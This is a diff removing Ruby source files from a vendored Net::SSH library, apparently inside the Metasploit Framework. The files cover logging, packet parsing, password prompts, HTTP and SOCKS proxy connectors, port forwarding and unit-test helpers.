module Net; module SSH
# A simple module to make logging easier to deal with. It assumes that the
# logger instance (if not nil) quacks like a Logger object (in Ruby's
# standard library). Although used primarily internally by Net::SSH, it
# can easily be used to add Net::SSH-like logging to your own programs.
#
# class MyClass
# include Net::SSH::Loggable
# end
#
# Net::SSH.start(...) do |ssh|
# obj = MyClass.new
# obj.logger = ssh.logger
# ...
# end
module Loggable
# The logger instance that will be used to log messages. If nil, nothing
# will be logged.
attr_accessor :logger
# Displays the result of yielding if the log level is Logger::DEBUG or
# greater.
def debug
logger.add(Logger::DEBUG, nil, facility) { yield } if logger
end
# Displays the result of yielding if the log level is Logger::INFO or
# greater.
def info
logger.add(Logger::INFO, nil, facility) { yield } if logger
end
# Displays the result of yielding if the log level is Logger::WARN or
# greater. (Called lwarn to avoid shadowing with Kernel#warn.)
def lwarn
logger.add(Logger::WARN, nil, facility) { yield } if logger
end
# Displays the result of yielding if the log level is Logger:ERROR or
# greater.
def error
logger.add(Logger::ERROR, nil, facility) { yield } if logger
end
# Displays the result of yielding if the log level is Logger::FATAL or
# greater.
def fatal
logger.add(Logger::FATAL, nil, facility) { yield } if logger
end
private
# Sets the "facility" value, used for reporting where a log message
# originates. It defaults to the name of class with the object_id
# appended.
def facility
@facility ||= self.class.name.gsub(/::/, ".").gsub(/([a-z])([A-Z])/, "\\1_\\2").downcase + "[%x]" % object_id
end
end
end; end
-103
View File
@@ -1,103 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/buffer'
require 'net/ssh/transport/constants'
require 'net/ssh/authentication/constants'
require 'net/ssh/connection/constants'
module Net; module SSH
# A specialization of Buffer that knows the format of certain common
# packet types. It auto-parses those packet types, and allows them to
# be accessed via the #[] accessor.
#
# data = some_channel_request_packet
# packet = Net::SSH::Packet.new(data)
#
# p packet.type #-> 98 (CHANNEL_REQUEST)
# p packet[:request]
# p packet[:want_reply]
#
# This is used exclusively internally by Net::SSH, and unless you're doing
# protocol-level manipulation or are extending Net::SSH in some way, you'll
# never need to use this class directly.
class Packet < Buffer
@@types = {}
# Register a new packet type that should be recognized and auto-parsed by
# Net::SSH::Packet. Note that any packet type that is not preregistered
# will not be autoparsed.
#
# The +pairs+ parameter must be either empty, or an array of two-element
# tuples, where the first element of each tuple is the name of the field,
# and the second is the type.
#
# register DISCONNECT, [:reason_code, :long], [:description, :string], [:language, :string]
def self.register(type, *pairs)
@@types[type] = pairs
end
include Transport::Constants, Authentication::Constants, Connection::Constants
#--
# These are the recognized packet types. All other packet types will be
# accepted, but not auto-parsed, requiring the client to parse the
# fields using the methods provided by Net::SSH::Buffer.
#++
register DISCONNECT, [:reason_code, :long], [:description, :string], [:language, :string]
register IGNORE, [:data, :string]
register UNIMPLEMENTED, [:number, :long]
register DEBUG, [:always_display, :bool], [:message, :string], [:language, :string]
register SERVICE_ACCEPT, [:service_name, :string]
register USERAUTH_BANNER, [:message, :string], [:language, :string]
register USERAUTH_FAILURE, [:authentications, :string], [:partial_success, :bool]
register GLOBAL_REQUEST, [:request_type, :string], [:want_reply, :bool], [:request_data, :buffer]
register CHANNEL_OPEN, [:channel_type, :string], [:remote_id, :long], [:window_size, :long], [:packet_size, :long]
register CHANNEL_OPEN_CONFIRMATION, [:local_id, :long], [:remote_id, :long], [:window_size, :long], [:packet_size, :long]
register CHANNEL_OPEN_FAILURE, [:local_id, :long], [:reason_code, :long], [:description, :string], [:language, :string]
register CHANNEL_WINDOW_ADJUST, [:local_id, :long], [:extra_bytes, :long]
register CHANNEL_DATA, [:local_id, :long], [:data, :string]
register CHANNEL_EXTENDED_DATA, [:local_id, :long], [:data_type, :long], [:data, :string]
register CHANNEL_EOF, [:local_id, :long]
register CHANNEL_CLOSE, [:local_id, :long]
register CHANNEL_REQUEST, [:local_id, :long], [:request, :string], [:want_reply, :bool], [:request_data, :buffer]
register CHANNEL_SUCCESS, [:local_id, :long]
register CHANNEL_FAILURE, [:local_id, :long]
# The (integer) type of this packet.
attr_reader :type
# Create a new packet from the given payload. This will automatically
# parse the packet if it is one that has been previously registered with
# Packet.register; otherwise, the packet will need to be manually parsed
# using the methods provided in the Net::SSH::Buffer superclass.
def initialize(payload)
@named_elements = {}
super
@type = read_byte
instantiate!
end
# Access one of the auto-parsed fields by name. Raises an error if no
# element by the given name exists.
def [](name)
name = name.to_sym
raise ArgumentError, "no such element #{name}" unless @named_elements.key?(name)
@named_elements[name]
end
private
# Parse the packet's contents and assign the named elements, as described
# by the registered format for the packet.
def instantiate!
(@@types[type] || []).each do |name, datatype|
@named_elements[name.to_sym] = if datatype == :buffer
remainder_as_buffer
else
send("read_#{datatype}")
end
end
end
end
end; end
-94
View File
@@ -1,94 +0,0 @@
# -*- coding: binary -*-
module Net; module SSH
# A basic prompt module that can be mixed into other objects. If HighLine is
# installed, it will be used to display prompts and read input from the
# user. Otherwise, the termios library will be used. If neither HighLine
# nor termios is installed, a simple prompt that echos text in the clear
# will be used.
module PromptMethods
# Defines the prompt method to use if the Highline library is installed.
module Highline
# Uses Highline#ask to present a prompt and accept input. If +echo+ is
# +false+, the characters entered by the user will not be echoed to the
# screen.
def prompt(prompt, echo=true)
@highline ||= ::HighLine.new
@highline.ask(prompt + " ") { |q| q.echo = echo }
end
end
# Defines the prompt method to use if the Termios library is installed.
module Termios
# Displays the prompt to $stdout. If +echo+ is false, the Termios
# library will be used to disable keystroke echoing for the duration of
# this method.
def prompt(prompt, echo=true)
$stdout.print(prompt)
$stdout.flush
set_echo(false) unless echo
$stdin.gets.chomp
ensure
if !echo
set_echo(true)
$stdout.puts
end
end
private
# Enables or disables keystroke echoing using the Termios library.
def set_echo(enable)
term = ::Termios.getattr($stdin)
if enable
term.c_lflag |= (::Termios::ECHO | ::Termios::ICANON)
else
term.c_lflag &= ~::Termios::ECHO
end
::Termios.setattr($stdin, ::Termios::TCSANOW, term)
end
end
# Defines the prompt method to use when neither Highline nor Termios are
# installed.
module Clear
# Displays the prompt to $stdout and pulls the response from $stdin.
# Text is always echoed in the clear, regardless of the +echo+ setting.
# The first time a prompt is given and +echo+ is false, a warning will
# be written to $stderr recommending that either Highline or Termios
# be installed.
def prompt(prompt, echo=true)
@seen_warning ||= false
if !echo && !@seen_warning
$stderr.puts "Text will be echoed in the clear. Please install the HighLine or Termios libraries to suppress echoed text."
@seen_warning = true
end
$stdout.print(prompt)
$stdout.flush
$stdin.gets.chomp
end
end
end
# Try to load Highline and Termios in turn, selecting the corresponding
# PromptMethods module to use. If neither are available, choose PromptMethods::Clear.
Prompt = begin
require 'highline'
HighLine.track_eof = false
PromptMethods::Highline
rescue LoadError
begin
require 'termios'
PromptMethods::Termios
rescue LoadError
PromptMethods::Clear
end
end
end; end
-15
View File
@@ -1,15 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/errors'
module Net; module SSH; module Proxy
# A general exception class for all Proxy errors.
class Error < Net::SSH::Exception; end
# Used for reporting proxy connection errors.
class ConnectError < Error; end
# Used when the server doesn't recognize the user's credentials.
class UnauthorizedError < Error; end
end; end; end
-106
View File
@@ -1,106 +0,0 @@
# -*- coding: binary -*-
require 'rex/socket'
require 'net/ssh/proxy/errors'
module Net; module SSH; module Proxy
# An implementation of an HTTP proxy. To use it, instantiate it, then
# pass the instantiated object via the :proxy key to Net::SSH.start:
#
# require 'net/ssh/proxy/http'
#
# proxy = Net::SSH::Proxy::HTTP.new('proxy.host', proxy_port)
# Net::SSH.start('host', 'user', :proxy => proxy) do |ssh|
# ...
# end
#
# If the proxy requires authentication, you can pass :user and :password
# to the proxy's constructor:
#
# proxy = Net::SSH::Proxy::HTTP.new('proxy.host', proxy_port,
# :user => "user", :password => "password")
#
# Note that HTTP digest authentication is not supported; Basic only at
# this point.
class HTTP
# The hostname or IP address of the HTTP proxy.
attr_reader :proxy_host
# The port number of the proxy.
attr_reader :proxy_port
# The map of additional options that were given to the object at
# initialization.
attr_reader :options
# Create a new socket factory that tunnels via the given host and
# port. The +options+ parameter is a hash of additional settings that
# can be used to tweak this proxy connection. Specifically, the following
# options are supported:
#
# * :user => the user name to use when authenticating to the proxy
# * :password => the password to use when authenticating
def initialize(proxy_host, proxy_port=80, options={})
@proxy_host = proxy_host
@proxy_port = proxy_port
@options = options
end
# Return a new socket connected to the given host and port via the
# proxy that was requested when the socket factory was instantiated.
def open(host, port)
socket = Rex::Socket::Tcp.create(
'PeerHost' => proxy_host,
'PeerPort' => proxy_port,
'Context' => {
'Msf' => options[:msframework],
'MsfExploit' => options[:msfmodule]
}
)
# Tell MSF to automatically close this socket on error or completion...
# This prevents resource leaks.
options[:msfmodule].add_socket(@socket) if options[:msfmodule]
socket.write "CONNECT #{host}:#{port} HTTP/1.0\r\n"
if options[:user]
credentials = ["#{options[:user]}:#{options[:password]}"].pack("m*").gsub(/\s/, "")
socket.write "Proxy-Authorization: Basic #{credentials}\r\n"
end
socket.write "\r\n"
resp = parse_response(socket)
return socket if resp[:code] == 200
socket.close
raise ConnectError, resp.inspect
end
private
def parse_response(socket)
version, code, reason = socket.gets.chomp.split(/ /, 3)
headers = {}
while (line = socket.gets.chomp) != ""
name, value = line.split(/:/, 2)
headers[name.strip] = value.strip
end
if headers["Content-Length"]
body = socket.read(headers["Content-Length"].to_i)
end
return { :version => version,
:code => code.to_i,
:reason => reason,
:headers => headers,
:body => body }
end
end
end; end; end
-82
View File
@@ -1,82 +0,0 @@
# -*- coding: binary -*-
require 'rex/socket'
require 'resolv'
require 'ipaddr'
require 'net/ssh/proxy/errors'
module Net
module SSH
module Proxy
# An implementation of a SOCKS4 proxy. To use it, instantiate it, then
# pass the instantiated object via the :proxy key to Net::SSH.start:
#
# require 'net/ssh/proxy/socks4'
#
# proxy = Net::SSH::Proxy::SOCKS4.new('proxy.host', proxy_port, :user => 'user')
# Net::SSH.start('host', 'user', :proxy => proxy) do |ssh|
# ...
# end
class SOCKS4
# The SOCKS protocol version used by this class
VERSION = 4
# The packet type for connection requests
CONNECT = 1
# The status code for a successful connection
GRANTED = 90
# The proxy's host name or IP address, as given to the constructor.
attr_reader :proxy_host
# The proxy's port number.
attr_reader :proxy_port
# The additional options that were given to the proxy's constructor.
attr_reader :options
# Create a new proxy connection to the given proxy host and port.
# Optionally, a :user key may be given to identify the username
# with which to authenticate.
def initialize(proxy_host, proxy_port=1080, options={})
@proxy_host = proxy_host
@proxy_port = proxy_port
@options = options
end
# Return a new socket connected to the given host and port via the
# proxy that was requested when the socket factory was instantiated.
def open(host, port)
socket = Rex::Socket::Tcp.create(
'PeerHost' => proxy_host,
'PeerPort' => proxy_port,
'Context' => {
'Msf' => options[:msframework],
'MsfExploit' => options[:msfmodule]
}
)
# Tell MSF to automatically close this socket on error or completion...
# This prevents resource leaks.
options[:msfmodule].add_socket(@socket) if options[:msfmodule]
ip_addr = IPAddr.new(Resolv.getaddress(host))
packet = [VERSION, CONNECT, port.to_i, ip_addr.to_i, options[:user]].pack("CCnNZ*")
socket.send packet, 0
version, status, port, ip = socket.recv(8).unpack("CCnN")
if status != GRANTED
socket.close
raise ConnectError, "error connecting to proxy (#{status})"
end
return socket
end
end
end
end
end
-140
View File
@@ -1,140 +0,0 @@
# -*- coding: binary -*-
require 'rex/socket'
require 'net/ssh/ruby_compat'
require 'net/ssh/proxy/errors'
module Net
module SSH
module Proxy
# An implementation of a SOCKS5 proxy. To use it, instantiate it, then
# pass the instantiated object via the :proxy key to Net::SSH.start:
#
# require 'net/ssh/proxy/socks5'
#
# proxy = Net::SSH::Proxy::SOCKS5.new('proxy.host', proxy_port,
# :user => 'user', :password => "password")
# Net::SSH.start('host', 'user', :proxy => proxy) do |ssh|
# ...
# end
class SOCKS5
# The SOCKS protocol version used by this class
VERSION = 5
# The SOCKS authentication type for requests without authentication
METHOD_NO_AUTH = 0
# The SOCKS authentication type for requests via username/password
METHOD_PASSWD = 2
# The SOCKS authentication type for when there are no supported
# authentication methods.
METHOD_NONE = 0xFF
# The SOCKS packet type for requesting a proxy connection.
CMD_CONNECT = 1
# The SOCKS address type for connections via IP address.
ATYP_IPV4 = 1
# The SOCKS address type for connections via domain name.
ATYP_DOMAIN = 3
# The SOCKS response code for a successful operation.
SUCCESS = 0
# The proxy's host name or IP address
attr_reader :proxy_host
# The proxy's port number
attr_reader :proxy_port
# The map of options given at initialization
attr_reader :options
# Create a new proxy connection to the given proxy host and port.
# Optionally, :user and :password options may be given to
# identify the username and password with which to authenticate.
def initialize(proxy_host, proxy_port=1080, options={})
@proxy_host = proxy_host
@proxy_port = proxy_port
@options = options
end
# Return a new socket connected to the given host and port via the
# proxy that was requested when the socket factory was instantiated.
def open(host, port)
socket = Rex::Socket::Tcp.create(
'PeerHost' => proxy_host,
'PeerPort' => proxy_port,
'Context' => {
'Msf' => options[:msframework],
'MsfExploit' => options[:msfmodule]
}
)
# Tell MSF to automatically close this socket on error or completion...
# This prevents resource leaks.
options[:msfmodule].add_socket(@socket) if options[:msfmodule]
methods = [METHOD_NO_AUTH]
methods << METHOD_PASSWD if options[:user]
packet = [VERSION, methods.size, *methods].pack("C*")
socket.send packet, 0
version, method = socket.recv(2).unpack("CC")
if version != VERSION
socket.close
raise Net::SSH::Proxy::Error, "invalid SOCKS version (#{version})"
end
if method == METHOD_NONE
socket.close
raise Net::SSH::Proxy::Error, "no supported authorization methods"
end
negotiate_password(socket) if method == METHOD_PASSWD
packet = [VERSION, CMD_CONNECT, 0].pack("C*")
if host =~ /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/
packet << [ATYP_IPV4, $1.to_i, $2.to_i, $3.to_i, $4.to_i].pack("C*")
else
packet << [ATYP_DOMAIN, host.length, host].pack("CCA*")
end
packet << [port].pack("n")
socket.send packet, 0
version, reply, = socket.recv(4).unpack("C*")
len = socket.recv(1).getbyte(0)
socket.recv(len + 2)
unless reply == SUCCESS
socket.close
raise ConnectError, "#{reply}"
end
return socket
end
private
# Simple username/password negotiation with the SOCKS5 server.
def negotiate_password(socket)
packet = [0x01, options[:user].length, options[:user],
options[:password].length, options[:password]].pack("CCA*CA*")
socket.send packet, 0
version, status = socket.recv(2).unpack("CC")
if status != SUCCESS
socket.close
raise UnauthorizedError, "could not authorize user"
end
end
end
end
end
end
-8
View File
@@ -1,8 +0,0 @@
# -*- coding: binary -*-
class String
if RUBY_VERSION < "1.9"
def getbyte(index)
self[index]
end
end
end
-281
View File
@@ -1,281 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/loggable'
module Net; module SSH; module Service
# This class implements various port forwarding services for use by
# Net::SSH clients. The Forward class should never need to be instantiated
# directly; instead, it should be accessed via the singleton instance
# returned by Connection::Session#forward:
#
# ssh.forward.local(1234, "www.capify.org", 80)
class Forward
include Loggable
# The underlying connection service instance that the port-forwarding
# services employ.
attr_reader :session
# A simple class for representing a requested remote forwarded port.
Remote = Struct.new(:host, :port) #:nodoc:
# Instantiates a new Forward service instance atop the given connection
# service session. This will register new channel open handlers to handle
# the specialized channels that the SSH port forwarding protocols employ.
def initialize(session)
@session = session
self.logger = session.logger
@remote_forwarded_ports = {}
@local_forwarded_ports = {}
@agent_forwarded = false
session.on_open_channel('forwarded-tcpip', &method(:forwarded_tcpip))
session.on_open_channel('auth-agent', &method(:auth_agent_channel))
session.on_open_channel('auth-agent@openssh.com', &method(:auth_agent_channel))
end
# Starts listening for connections on the local host, and forwards them
# to the specified remote host/port via the SSH connection. This method
# accepts either three or four arguments. When four arguments are given,
# they are:
#
# * the local address to bind to
# * the local port to listen on
# * the remote host to forward connections to
# * the port on the remote host to connect to
#
# If three arguments are given, it is as if the local bind address is
# "127.0.0.1", and the rest are applied as above.
#
# ssh.forward.local(1234, "www.capify.org", 80)
# ssh.forward.local("0.0.0.0", 1234, "www.capify.org", 80)
def local(*args)
if args.length < 3 || args.length > 4
raise ArgumentError, "expected 3 or 4 parameters, got #{args.length}"
end
bind_address = "127.0.0.1"
bind_address = args.shift if args.first.is_a?(String) && args.first =~ /\D/
local_port = args.shift.to_i
remote_host = args.shift
remote_port = args.shift.to_i
socket = TCPServer.new(bind_address, local_port)
@local_forwarded_ports[[local_port, bind_address]] = socket
session.listen_to(socket) do |server|
client = server.accept
debug { "received connection on #{bind_address}:#{local_port}" }
channel = session.open_channel("direct-tcpip", :string, remote_host, :long, remote_port, :string, bind_address, :long, local_port) do |achannel|
achannel.info { "direct channel established" }
end
prepare_client(client, channel, :local)
channel.on_open_failed do |ch, code, description|
channel.error { "could not establish direct channel: #{description} (#{code})" }
channel[:socket].close
end
end
end
# Terminates an active local forwarded port. If no such forwarded port
# exists, this will raise an exception. Otherwise, the forwarded connection
# is terminated.
#
# ssh.forward.cancel_local(1234)
# ssh.forward.cancel_local(1234, "0.0.0.0")
def cancel_local(port, bind_address="127.0.0.1")
socket = @local_forwarded_ports.delete([port, bind_address])
socket.shutdown rescue nil
socket.close rescue nil
session.stop_listening_to(socket)
end
# Returns a list of all active locally forwarded ports. The returned value
# is an array of arrays, where each element is a two-element tuple
# consisting of the local port and bind address corresponding to the
# forwarding port.
def active_locals
@local_forwarded_ports.keys
end
# Requests that all connections on the given remote-port be forwarded via
# the local host to the given port/host. The last argument describes the
# bind address on the remote host, and defaults to 127.0.0.1.
#
# This method will return immediately, but the port will not actually be
# forwarded immediately. If the remote server is not able to begin the
# listener for this request, an exception will be raised asynchronously.
#
# If you want to know when the connection is active, it will show up in the
# #active_remotes list. If you want to block until the port is active, you
# could do something like this:
#
# ssh.forward.remote(80, "www.google.com", 1234, "0.0.0.0")
# ssh.loop { !ssh.forward.active_remotes.include?([1234, "0.0.0.0"]) }
def remote(port, host, remote_port, remote_host="127.0.0.1")
session.send_global_request("tcpip-forward", :string, remote_host, :long, remote_port) do |success, response|
if success
debug { "remote forward from remote #{remote_host}:#{remote_port} to #{host}:#{port} established" }
@remote_forwarded_ports[[remote_port, remote_host]] = Remote.new(host, port)
else
error { "remote forwarding request failed" }
raise Net::SSH::Exception, "remote forwarding request failed"
end
end
end
# an alias, for token backwards compatibility with the 1.x API
alias :remote_to :remote
# Requests that a remote forwarded port be cancelled. The remote forwarded
# port on the remote host, bound to the given address on the remote host,
# will be terminated, but not immediately. This method returns immediately
# after queueing the request to be sent to the server. If for some reason
# the port cannot be cancelled, an exception will be raised (asynchronously).
#
# If you want to know when the connection has been cancelled, it will no
# longer be present in the #active_remotes list. If you want to block until
# the port is no longer active, you could do something like this:
#
# ssh.forward.cancel_remote(1234, "0.0.0.0")
# ssh.loop { ssh.forward.active_remotes.include?([1234, "0.0.0.0"]) }
def cancel_remote(port, host="127.0.0.1")
session.send_global_request("cancel-tcpip-forward", :string, host, :long, port) do |success, response|
if success
@remote_forwarded_ports.delete([port, host])
else
raise Net::SSH::Exception, "could not cancel remote forward request on #{host}:#{port}"
end
end
end
# Returns all active forwarded remote ports. The returned value is an
# array of two-element tuples, where the first element is the port on the
# remote host and the second is the bind address.
def active_remotes
@remote_forwarded_ports.keys
end
# Enables SSH agent forwarding on the given channel. The forwarded agent
# will remain active even after the channel closes--the channel is only
# used as the transport for enabling the forwarded connection. You should
# never need to call this directly--it is called automatically the first
# time a session channel is opened, when the connection was created with
# :forward_agent set to true:
#
# Net::SSH.start("remote.host", "me", :forwrd_agent => true) do |ssh|
# ssh.open_channel do |ch|
# # agent will be automatically forwarded by this point
# end
# ssh.loop
# end
def agent(channel)
return if @agent_forwarded
@agent_forwarded = true
channel.send_channel_request("auth-agent-req@openssh.com") do |achannel, success|
if success
debug { "authentication agent forwarding is active" }
else
achannel.send_channel_request("auth-agent-req") do |a2channel, success2|
if success2
debug { "authentication agent forwarding is active" }
else
error { "could not establish forwarding of authentication agent" }
end
end
end
end
end
private
# Perform setup operations that are common to all forwarded channels.
# +client+ is a socket, +channel+ is the channel that was just created,
# and +type+ is an arbitrary string describing the type of the channel.
def prepare_client(client, channel, type)
client.extend(Net::SSH::BufferedIo)
client.logger = logger
session.listen_to(client)
channel[:socket] = client
channel.on_data do |ch, data|
ch[:socket].enqueue(data)
end
channel.on_close do |ch|
debug { "closing #{type} forwarded channel" }
ch[:socket].close if !client.closed?
session.stop_listening_to(ch[:socket])
end
channel.on_eof do |ch|
ch.close
end
channel.on_process do |ch|
if ch[:socket].closed?
ch.info { "#{type} forwarded connection closed" }
ch.close
elsif ch[:socket].available > 0
data = ch[:socket].read_available(8192)
ch.debug { "read #{data.length} bytes from client, sending over #{type} forwarded connection" }
ch.send_data(data)
end
end
end
# The callback used when a new "forwarded-tcpip" channel is requested
# by the server. This will open a new socket to the host/port specified
# when the forwarded connection was first requested.
def forwarded_tcpip(session, channel, packet)
connected_address = packet.read_string
connected_port = packet.read_long
originator_address = packet.read_string
originator_port = packet.read_long
remote = @remote_forwarded_ports[[connected_port, connected_address]]
if remote.nil?
raise Net::SSH::ChannelOpenFailed.new(1, "unknown request from remote forwarded connection on #{connected_address}:#{connected_port}")
end
client = Rex::Socket::Tcp.create(
'PeerHost' => remote.host,
'PeerPort' => remote.port,
'Context' => {
'Msf' => session.options[:msframework],
'MsfExploit' => session.options[:msfmodule]
}
)
session.options[:msfmodule].add_socket(client) if session.options[:msfmodule]
info { "connected #{connected_address}:#{connected_port} originator #{originator_address}:#{originator_port}" }
prepare_client(client, channel, :remote)
rescue SocketError => err
raise Net::SSH::ChannelOpenFailed.new(2, "could not connect to remote host (#{remote.host}:#{remote.port}): #{err.message}")
end
# The callback used when an auth-agent channel is requested by the server.
def auth_agent_channel(session, channel, packet)
info { "opening auth-agent channel" }
channel[:invisible] = true
begin
agent = Authentication::Agent.connect(logger)
prepare_client(agent.socket, channel, :agent)
rescue Exception => e
error { "attempted to connect to agent but failed: #{e.class.name} (#{e.message})" }
raise Net::SSH::ChannelOpenFailed.new(2, "could not connect to authentication agent")
end
end
end
end; end; end
-90
View File
@@ -1,90 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/transport/session'
require 'net/ssh/connection/session'
require 'net/ssh/test/kex'
require 'net/ssh/test/socket'
module Net; module SSH
# This module may be used in unit tests, for when you want to test that your
# SSH state machines are really doing what you expect they are doing. You will
# typically include this module in your unit test class, and then build a
# "story" of expected sends and receives:
#
# require 'test/unit'
# require 'net/ssh/test'
#
# class MyTest < Test::Unit::TestCase
# include Net::SSH::Test
#
# def test_exec_via_channel_works
# story do |session|
# channel = session.opens_channel
# channel.sends_exec "ls"
# channel.gets_data "result of ls"
# channel.gets_close
# channel.sends_close
# end
#
# assert_scripted do
# result = nil
#
# connection.open_channel do |ch|
# ch.exec("ls") do |success|
# ch.on_data { |c, data| result = data }
# ch.on_close { |c| c.close }
# end
# end
#
# connection.loop
# assert_equal "result of ls", result
# end
# end
# end
#
# See Net::SSH::Test::Channel and Net::SSH::Test::Script for more options.
#
# Note that the Net::SSH::Test system is rather finicky yet, and can be kind
# of frustrating to get working. Any suggestions for improvement will be
# welcome!
module Test
# If a block is given, yields the script for the test socket (#socket).
# Otherwise, simply returns the socket's script. See Net::SSH::Test::Script.
def story
yield socket.script if block_given?
return socket.script
end
# Returns the test socket instance to use for these tests (see
# Net::SSH::Test::Socket).
def socket(options={})
@socket ||= Net::SSH::Test::Socket.new
end
# Returns the connection session (Net::SSH::Connection::Session) for use
# in these tests. It is a fully functional SSH session, operating over
# a mock socket (#socket).
def connection(options={})
@connection ||= Net::SSH::Connection::Session.new(transport(options), options)
end
# Returns the transport session (Net::SSH::Transport::Session) for use
# in these tests. It is a fully functional SSH transport session, operating
# over a mock socket (#socket).
def transport(options={})
@transport ||= Net::SSH::Transport::Session.new(options[:host] || "localhost", options.merge(:kex => "test", :host_key => "ssh-rsa", :paranoid => false, :proxy => socket(options)))
end
# First asserts that a story has been described (see #story). Then yields,
# and then asserts that all items described in the script have been
# processed. Typically, this is called immediately after a story has
# been built, and the SSH commands being tested are then executed within
# the block passed to this assertion.
def assert_scripted
raise "there is no script to be processed" if socket.script.events.empty?
yield
assert socket.script.events.empty?, "there should not be any remaining scripted events, but there are still #{socket.script.events.length} pending"
end
end
end; end
-130
View File
@@ -1,130 +0,0 @@
# -*- coding: binary -*-
module Net; module SSH; module Test
# A mock channel, used for scripting actions in tests. It wraps a
# Net::SSH::Test::Script instance, and delegates to it for the most part.
# This class has little real functionality on its own, but rather acts as
# a convenience for scripting channel-related activity for later comparison
# in a unit test.
#
# story do |session|
# channel = session.opens_channel
# channel.sends_exec "ls"
# channel.gets_data "result of ls"
# channel.gets_close
# channel.sends_close
# end
class Channel
# The Net::SSH::Test::Script instance employed by this mock channel.
attr_reader :script
# Sets the local-id of this channel object (the id assigned by the client).
attr_writer :local_id
# Sets the remote-id of this channel object (the id assigned by the mock-server).
attr_writer :remote_id
# Creates a new Test::Channel instance on top of the given +script+ (which
# must be a Net::SSH::Test::Script instance).
def initialize(script)
@script = script
@local_id = @remote_id = nil
end
# Returns the local (client-assigned) id for this channel, or a Proc object
# that will return the local-id later if the local id has not yet been set.
# (See Net::SSH::Test::Packet#instantiate!.)
def local_id
@local_id || Proc.new { @local_id or raise "local-id has not been set yet!" }
end
# Returns the remote (server-assigned) id for this channel, or a Proc object
# that will return the remote-id later if the remote id has not yet been set.
# (See Net::SSH::Test::Packet#instantiate!.)
def remote_id
@remote_id || Proc.new { @remote_id or raise "remote-id has not been set yet!" }
end
# Because adjacent calls to #gets_data will sometimes cause the data packets
# to be concatenated (causing expectations in tests to fail), you may
# need to separate those calls with calls to #inject_remote_delay! (which
# essentially just mimics receiving an empty data packet):
#
# channel.gets_data "abcdefg"
# channel.inject_remote_delay!
# channel.gets_data "hijklmn"
def inject_remote_delay!
gets_data("")
end
# Scripts the sending of an "exec" channel request packet to the mock
# server. If +reply+ is true, then the server is expected to reply to the
# request, otherwise no response to this request will be sent. If +success+
# is +true+, then the request will be successful, otherwise a failure will
# be scripted.
#
# channel.sends_exec "ls -l"
def sends_exec(command, reply=true, success=true)
script.sends_channel_request(self, "exec", reply, command, success)
end
# Scripts the sending of a "subsystem" channel request packet to the mock
# server. See #sends_exec for a discussion of the meaning of the +reply+
# and +success+ arguments.
#
# channel.sends_subsystem "sftp"
def sends_subsystem(subsystem, reply=true, success=true)
script.sends_channel_request(self, "subsystem", reply, subsystem, success)
end
# Scripts the sending of a data packet across the channel.
#
# channel.sends_data "foo"
def sends_data(data)
script.sends_channel_data(self, data)
end
# Scripts the sending of an EOF packet across the channel.
#
# channel.sends_eof
def sends_eof
script.sends_channel_eof(self)
end
# Scripts the sending of a "channel close" packet across the channel.
#
# channel.sends_close
def sends_close
script.sends_channel_close(self)
end
# Scripts the reception of a channel data packet from the remote end.
#
# channel.gets_data "bar"
def gets_data(data)
script.gets_channel_data(self, data)
end
# Scripts the reception of an "exit-status" channel request packet.
#
# channel.gets_exit_status(127)
def gets_exit_status(status=0)
script.gets_channel_request(self, "exit-status", false, status)
end
# Scripts the reception of an EOF packet from the remote end.
#
# channel.gets_eof
def gets_eof
script.gets_channel_eof(self)
end
# Scripts the reception of a "channel close" packet from the remote end.
#
# channel.gets_close
def gets_close
script.gets_channel_close(self)
end
end
end; end; end
-153
View File
@@ -1,153 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/buffer'
require 'net/ssh/packet'
require 'net/ssh/buffered_io'
require 'net/ssh/connection/channel'
require 'net/ssh/connection/constants'
require 'net/ssh/transport/constants'
require 'net/ssh/transport/packet_stream'
module Net; module SSH; module Test
# A collection of modules used to extend/override the default behavior of
# Net::SSH internals for ease of testing. As a consumer of Net::SSH, you'll
# never need to use this directly--they're all used under the covers by
# the Net::SSH::Test system.
module Extensions
# An extension to Net::SSH::BufferedIo (assumes that the underlying IO
# is actually a StringIO). Facilitates unit testing.
module BufferedIo
# Returns +true+ if the position in the stream is less than the total
# length of the stream.
def select_for_read?
pos < size
end
# Set this to +true+ if you want the IO to pretend to be available for writing
attr_accessor :select_for_write
# Set this to +true+ if you want the IO to pretend to be in an error state
attr_accessor :select_for_error
alias select_for_write? select_for_write
alias select_for_error? select_for_error
end
# An extension to Net::SSH::Transport::PacketStream (assumes that the
# underlying IO is actually a StringIO). Facilitates unit testing.
module PacketStream
include BufferedIo # make sure we get the extensions here, too
def self.included(base) #:nodoc:
base.send :alias_method, :real_available_for_read?, :available_for_read?
base.send :alias_method, :available_for_read?, :test_available_for_read?
base.send :alias_method, :real_enqueue_packet, :enqueue_packet
base.send :alias_method, :enqueue_packet, :test_enqueue_packet
base.send :alias_method, :real_poll_next_packet, :poll_next_packet
base.send :alias_method, :poll_next_packet, :test_poll_next_packet
end
# Called when another packet should be inspected from the current
# script. If the next packet is a remote packet, it pops it off the
# script and shoves it onto this IO object, making it available to
# be read.
def idle!
return false unless script.next(:first)
if script.next(:first).remote?
self.string << script.next.to_s
self.pos = pos
end
return true
end
# The testing version of Net::SSH::Transport::PacketStream#available_for_read?.
# Returns true if there is data pending to be read. Otherwise calls #idle!.
def test_available_for_read?
return true if select_for_read?
idle!
false
end
# The testing version of Net::SSH::Transport::PacketStream#enqueued_packet.
# Simply calls Net::SSH::Test::Script#process on the packet.
def test_enqueue_packet(payload)
packet = Net::SSH::Buffer.new(payload.to_s)
script.process(packet)
end
# The testing version of Net::SSH::Transport::PacketStream#poll_next_packet.
# Reads the next available packet from the IO object and returns it.
def test_poll_next_packet
return nil if available <= 0
packet = Net::SSH::Buffer.new(read_available(4))
length = packet.read_long
Net::SSH::Packet.new(read_available(length))
end
end
# An extension to Net::SSH::Connection::Channel. Facilitates unit testing.
module Channel
def self.included(base) #:nodoc:
base.send :alias_method, :send_data_for_real, :send_data
base.send :alias_method, :send_data, :send_data_for_test
end
# The testing version of Net::SSH::Connection::Channel#send_data. Calls
# the original implementation, and then immediately enqueues the data for
# output so that scripted sends are properly interpreted as discrete
# (rather than concatenated) data packets.
def send_data_for_test(data)
send_data_for_real(data)
enqueue_pending_output
end
end
